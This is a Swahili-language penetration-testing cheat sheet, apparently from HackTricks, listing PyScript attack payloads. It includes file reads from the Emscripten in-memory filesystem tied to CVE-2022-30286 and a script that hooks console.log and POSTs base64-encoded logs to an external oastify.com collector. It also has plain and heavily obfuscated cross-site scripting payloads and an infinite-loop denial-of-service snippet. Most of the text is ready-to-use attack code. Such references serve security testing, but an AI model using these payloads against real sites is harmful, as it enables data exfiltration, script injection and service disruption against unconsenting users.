Pyscript

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Mwongozo wa PyScript Pentesting

PyScript ni mfumo mpya ulioandaliwa kwa ajili ya kuunganisha Python katika HTML ili iweze kutumika pamoja na HTML. Katika karatasi hii ya udanganyifu, utaona jinsi ya kutumia PyScript kwa madhumuni yako ya upenyo.

Kutupa / Kurejesha faili kutoka kwenye mfumo wa faili wa kumbukumbu wa Emscripten:

CVE ID: CVE-2022-30286

Code:

html
<py-script>
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out
= fin.read() print(out)
</py-script>

OOB Data Exfiltration ya mfumo wa faili wa kumbukumbu wa Emscripten (uangalizi wa console)

CVE ID: CVE-2022-30286

Code:

html
<py-script>
x = "CyberGuy" if x == "CyberGuy": with
open('/lib/python3.10/asyncio/tasks.py') as output: contents = output.read()
print(contents) print('
<script>
console.pylog = console.log
console.logs = []
console.log = function () {
console.logs.push(Array.from(arguments))
console.pylog.apply(console, arguments)
fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {
method: "POST",
headers: { "Content-Type": "text/plain;charset=utf-8" },
body: JSON.stringify({ content: btoa(console.logs) }),
})
}
</script>
')
</py-script>

Cross Site Scripting (Kawaida)

Code:

python
<py-script>
print("<img src=x onerror='alert(document.domain)'>")
</py-script>

Cross Site Scripting (Python Obfuscated)

Code:

python
<py-script>
sur = "\u0027al";fur = "e";rt = "rt"
p = "\x22x$$\x22\x29\u0027\x3E"
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
e = "c\u003d";q = "x"
y = "o";m = "ner";z = "ror\u003d"

print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
</py-script>

Cross Site Scripting (JavaScript Obfuscation)

Code:

html
<py-script>
prinht("
<script>
var _0x3675bf = _0x5cf5
function _0x5cf5(_0xced4e9, _0x1ae724) {
var _0x599cad = _0x599c()
return (
(_0x5cf5 = function (_0x5cf5d2, _0x6f919d) {
_0x5cf5d2 = _0x5cf5d2 - 0x94
var _0x14caa7 = _0x599cad[_0x5cf5d2]
return _0x14caa7
}),
_0x5cf5(_0xced4e9, _0x1ae724)
)
}
;(function (_0x5ad362, _0x98a567) {
var _0x459bc5 = _0x5cf5,
_0x454121 = _0x5ad362()
while (!![]) {
try {
var _0x168170 =
(-parseInt(_0x459bc5(0x9e)) / 0x1) *
(parseInt(_0x459bc5(0x95)) / 0x2) +
(parseInt(_0x459bc5(0x97)) / 0x3) *
(-parseInt(_0x459bc5(0x9c)) / 0x4) +
-parseInt(_0x459bc5(0x99)) / 0x5 +
(-parseInt(_0x459bc5(0x9f)) / 0x6) *
(parseInt(_0x459bc5(0x9d)) / 0x7) +
(-parseInt(_0x459bc5(0x9b)) / 0x8) *
(-parseInt(_0x459bc5(0x9a)) / 0x9) +
-parseInt(_0x459bc5(0x94)) / 0xa +
(parseInt(_0x459bc5(0x98)) / 0xb) *
(parseInt(_0x459bc5(0x96)) / 0xc)
if (_0x168170 === _0x98a567) break
else _0x454121["push"](_0x454121["shift"]())
} catch (_0x5baa73) {
_0x454121["push"](_0x454121["shift"]())
}
}
})(_0x599c, 0x28895),
prompt(document[_0x3675bf(0xa0)])
function _0x599c() {
var _0x34a15f = [
"15170376Sgmhnu",
"589203pPKatg",
"11BaafMZ",
"445905MAsUXq",
"432bhVZQo",
"14792bfmdlY",
"4FKyEje",
"92890jvCozd",
"36031bizdfX",
"114QrRNWp",
"domain",
"3249220MUVofX",
"18cpppdr",
]
_0x599c = function () {
return _0x34a15f
}
return _0x599c()
}
</script>
")
</py-script>

Shambulio la DoS (Mzunguko wa Usoni)

Code:

html
<py-script>
while True:
print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;")
</py-script>

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

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